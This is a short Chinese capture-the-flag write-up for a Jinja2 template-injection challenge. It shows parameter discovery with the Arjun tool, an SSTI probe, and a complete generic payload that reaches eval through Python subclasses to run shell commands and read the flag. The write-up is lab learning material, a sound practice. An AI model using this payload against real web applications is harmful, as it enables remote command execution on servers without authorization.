又是一个新东西哦。先看界面
源代码没提示,抓包没特别数据,没有交互界面,后台扫描也没文件。我知道是python模板,但是注入点???看来wp才知道原来还有参数爆破,哈哈哈。整笑了。有一款工具Arjun
下载地址
git clone https://github.com/s0md3v/Arjun
pip3 install arjun
python3 setup.py install
使用方式如下。扫描出了一个参数,name
arjun -u http://3e278ab4-c1cb-49dd-981c-e9ce47b50892.node5.buuoj.cn:81/ -m GET
这个就是注入点了。输入{{7*'7'}},返回7777777。可以判断这是jinja2模板。而且也没有过滤啥。拿出珍藏多年的通用payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
在修改为cat flag.txt即可
至于为什么要这么构造?可以去看看基础的python模板注入